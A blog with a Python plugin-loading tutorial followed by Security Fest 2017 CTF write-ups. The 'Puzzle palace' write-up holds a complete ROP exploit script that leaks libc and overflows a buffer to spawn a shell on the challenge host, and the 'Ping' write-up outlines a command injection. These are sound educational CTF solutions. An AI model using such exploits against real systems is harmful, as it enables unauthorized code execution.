Thursday 15 June 2017

Writing plugins in Python

Standard
The advantage of dynamically typed language is that it's much easier to write some code that dynamically loads another code and uses it. The downside of lack of types is that it's harder to enforce the contract on the loaded code. There are ways around that and this post is about that. How to write a simple plugin system in your application, shown on an example.


MessengerAssistant

I just wrote a simple plugin driven Messenger Assistant. It's a bot that listens to your messages when you chat on Messenger and can execute commands based on that. It uses fbchat package from pypi. The simplest example would be:

- Command time, which gives prints to us current time.
In prototype version, it was just big if/elif statement to decide if the message is a command and if we need to reply to it. I wanted to do something more powerful and modular.

Plugin driven MessengerAssistant

I started off by doing a base for plugin, some template that every plugin has to follow to be compatible with my bot. If it was C# or Java, we would use interfaces which would enforce existence of some methods that we could later use. Python does not have an idea of interfaces, but it does provide module called abc(Abstract Base Classes).
Our AbstractPluginBase could look like this:

import abc


class AbstractPluginBase:
    __metaclass__ = abc.ABCMeta

    @abc.abstractmethod
    def __init__(self):
        pass

    @abc.abstractmethod
    def check_pattern(self, message): 
        # Check if we should handle this message
        return False

    @abc.abstractmethod
    def handle_message(self, message):
        # Handle the message
        return ""


abc works by using metaclass, class that sole purpose is to create classes(don't mix that with instances of classes). This use of abc works like interfaces, classes dervied from AbstractPluginBase must implement those three methods(__init__ exists by default so we won't see it implemented in concrete plugins, I added it so it is impossible to change initialization, which will be helpful later on).


Then in plugins/ python package(which means that there is __init__.py file inside) I wrote some example plugins like the time one you saw above

import time

from plugin_base import AbstractPluginBase


class TimePlugin(AbstractPluginBase):
    def check_pattern(self, message):
        if message == "time":
            return True
        else:
            return False

    def handle_message(self, message):
        return time.ctime()

As simple as that, the last missing piece is loading all the modules in plugins/ directory, for that I needed to bind all of the files inside plugins/ to plugins module. So __init__.py contains:

import glob
from os.path import dirname, basename, isfile

modules = glob.glob(dirname(__file__) + "/*.py")
__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith('__init__.py')]

Iterating over all files in directory, adding them to the package.

At this points we have plugins package that we can load from, last thing to do is to load all of the modules and get instances of them, in doing that we have to remember to only load subclasses of AbstractPluginBase, cause some plugins can use other classes for their implementations.

import inspect
import importlib


import plugins

class PluginLoader:
    @staticmethod
    def get_all_plugins():
        plugins_classes = []
        # Load all modules
        for module in [importlib.import_module("plugins." + x) for x in plugins.__all__]:
            # Get only subclasses of AbstractPluginBase
            plugins_classes += inspect.getmembers(module, PluginLoader.is_plugin)
        # Return instances of the classes
        return [(x[0], x[1]()) for x in plugins_classes]

    @staticmethod
    def is_plugin(object):
        return inspect.isclass(object) and issubclass(object, AbstractPluginBase) and object is not AbstractPluginBase

We had to use some reflection here, to check types of members of modules, so that we only get classes that satisfy three conditions: object is a class, object is a subclass of AbstractPluginBase and object is not AbstractPluginBase itself.
Then if we want to use the plugins, we just iterate over them and check if given plugin is able to handle given message.

for plugin in self.plugins:
    name, plugin_inst = plugin
    if plugin_inst.check_pattern(message):
        if self.debug:
            print("%s is handling the message" % name)
        output = plugin_inst.handle_message(message)
        self.send(send_id, output, is_user=is_user)

It wasn't so hard, was it? Python is really powerful when it comes to reflection and inspecting itself at runtime which gives us a lot of control when we know what we are doing.

I added some plugins like getting current value of my cryptocurrencies if I were to sell them at the current price at the exchange.

Full source code: https://github.com/hub2/Messenger-Assistant


Thursday 1 June 2017

Secfest write-ups

Standard
Puzzle palace - Pwn (100 + 0)
Adventure time! Find the magic bytes, kill the wizard, get all the flags!
Solves: 42
Author: likvidera
In the tar file we can find README and some libc version. README reads as follows:
Yep you only get the libc, connect to the service and go for an adventure to get the rest.
After connecting to the service, we've got:


and


We can notice that the magic bytes start with 7F454C46 => which is "\x7FELF", magic number for ELF executable file format. Going down(pressing 2) is showing us the next parts of the file. We need a script to dump it all.
from telnetlib import Telnet
import binascii
output = b""
with Telnet("pwn.ctf.rocks", 6666) as tn:
    tn.read_until(b"shame\n")
    tn.write(b"1\n")
    last_data = 0
    while True:

        out = tn.read_until(b"Down\n")
        print (len(out))
        tn.write(b"2\n")
        if len(out)!=224 and len(out)!=253: #last_data == data:
            print (out)
            break
        data = out.split(b"[")[1].split(b"]")[0]
        output+=data

        print (data)
        last_data = data

print (output)
bin_out = binascii.unhexlify(output)
open("out_bin", "wb").write(bin_out)

I've used telnetlib, it worked like a charm, after analysing the binary, it turns out that it is the same binary that is currently running on the server, we can investigate what exactly is going on. Interesting parts are:


Putting in 'Z' instead of number, can leak us system function address, this will be useful due to fact that ASLR on the remote machine is enabled.


We also found the correct bytes to trigger buffer overflow at the bottom of the screen, buf is small buffer, 20 bytes in size.
Given all that, all we needed to do was a ROPchain that gives us shell. We used system address to get libc base address, and from that we can calculate all gadgets addresses. I used only one, "pop rdi", and one address for "sh\0" string.
So my notes are:
system offset: 0x45390 
pop rdi offset: 0x21102 
"sh" offset: 0x11e70
Final exploit used this chain:
&pop rdi;
&"sh"
&system

Here is the final exploit:
from __future__ import print_function
from telnetlib import Telnet
from pwn import *
import binascii
output = b""
sys_off = 0x45390
pop_rdi_off = 0x21102
sh_off = 0x11e70

tn = Telnet("pwn.ctf.rocks", 6666)
#tn = Telnet("localhost", 4444)

tn.read_until(b"shame\n", 10)
tn.write(b"Z\n")
addr = tn.read_until(b"shame\n", 10)
addr = addr.split(b"\n")[1][:-1].split(b":")[1]
addr_int = int(addr, 16)
system = addr_int

base_libc =  system - sys_off
pop_rdi = base_libc + pop_rdi_off
sh = base_libc + sh_off

print(hex(base_libc))
print(hex(pop_rdi))
print(hex(sh))
print(hex(system))
payload = b"A"*24 +b"BBBBBBBB"+b"CCCCCCCC"+ p64(pop_rdi) + p64(sh) + p64(system) + b"\n"

tn.write(b"2\n")
tn.read_until(b"bytes: ", 10)
tn.write(b"1337p0werOverWhelMing1337\n")
tn.read_until(b"now!: ", 10)
print(payload)
tn.write(payload)
tn.interact()

tn.close()
We got the shell and the flag, yeah!



Empty - Misc (100 + 0)
Some suspicious character left this laying around on our system , seems to be empty.
Solves: 121
Author: d3vnu11

We get pdf file that looks blank. I used pdf-parser, it can be found in the kali linux, or downloaded from here: https://blog.didierstevens.com/programs/pdf-tools/
It found some objects, where one of them looked like this:


I must admit that I have no idea how pdf inner workings actually work, but it looked to me like ascii range, so I just converted it in python and it turned out to be the flag...
Python 2.7.12 (default, Nov 19 2016, 06:48:10) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = "83 67 84 70 123 115 116 114 52 110 103 51 95 111 98 106 51 99 116 95 99 104 114 95 49 110 95 112 108 52 49 110 95 115 49 116 51 125"
>>> "".join([chr(int(c)) for c in a.split()])
'SCTF{str4ng3_obj3ct_chr_1n_pl41n_s1t3}'

Ping - Pwn (50 + 0)
A simple ping-service for sysadmins, what could go wrong!?
Solves: 91
Author: likvidera

We are provided with a binary file.
Service is behaving as shown on the image:


As you can see, the first thing I tried was simple command injection, it turns out that the service does some sort of validation, after looking at it in disassembler, we know that the only characters that we can use are numbers, dots and a new line. Further investigation shows that the buffer that is used for login and getting IP for pinging when 2) Ping is chosen is the same.
So we could put our command incjection in the username field, there is no validation.
There is one problem tho, we can't ping until we Set IP, setting IP clears the buffer first, even if we don't provide any input to it. Also we can't just ping because we have check in code for not null value of allocated buffer for IP address.

It can be hard to explain, I recommend analysing the binary yourself, after all the solution was to initialize the pointer, then exit, set new username as a command injection and ping which would trigger our injection. Like so:



Signal - Rev (100 + 0)
Hey... My boss told me to reverse this program but I dont understand anything!!! wtf is PIE? Sooo annoying~
Solves: 40
Author: deep

We're given a binary. After running it we can see that it takes our input and depending on that prints if the flag is correct. Few minutes of analysis yields that there is some code that is unpacked by the binary and then run.


From another part of the binary it was clear that we have to get into the first branch of the if statement. I used gdb to let the binary unpack itself.


After stepping a bit through the code in debugger, we can see that this code is just doing simple xoring of our input with 0xde and then comparing it to some memory contents. Let's see with what exactly.


So I just xored those bytes with 0xde and got the flag: SCTF{early_early_sunday_morning?}


Qr code madness - Misc (200 + 0)
Random pictures, this do not make sense
Solves: 55
Author: d3vnu11

In the zip file there are 114 images with qr codes on them.
I quickly checked few of them at random with zbarimg utility, which can transform QR-images into text. All of those images encode one character only. The only thing we needed to figure out was the order in which we have to read them, I tried alphabetically and by date, the second way was the correct one.
ls -tr | xargs zbarimg
After cleaning up output a bit, we get

aC+40zqGmlLSdIJ1hY3EKoTwsrxWpkiAybPXU9Dj5veRVBHfFg6utM7QncU0NURntUaDNzM19kNG1uX1FSX2MwZDNfazMzcF9wMHAxbmdfdXB9Cg==

which looks like base64 but doesn't want to work. After a while I tried to cut some of the chars from the beginning, and with some luck, I've got the flag.


I heart cats - Misc (50 + 0)
We got this cute cat page. There is something odd in it. But I can't quite say what.
Solves: 52
Author: SecureLink / klondike
We are given index.html file with a lot of cat pictures, we can see that the index.html is formatted in a weird way, this is a hint. Highlighting tabs and spaces shows us a bit more.



I assumed that 8 spaces are 0s and tabs are 1s, this immidiately gave the flag.

asd = open("index.html", "r").read()

out = ""
i=0
while i < len(asd):
    if asd[i:i+8] == " "*8:
        out += "0"
        i+=8
        continue
    elif asd[i] == "\t":
        out += "1"
    i+=1

answer = ""
for i in range(0, len(out), 8):
    answer += chr(int(out[i:i+8], 2))

print answer

Flag: SCTF{Wh1735p4c35_4r3_84d_4u!}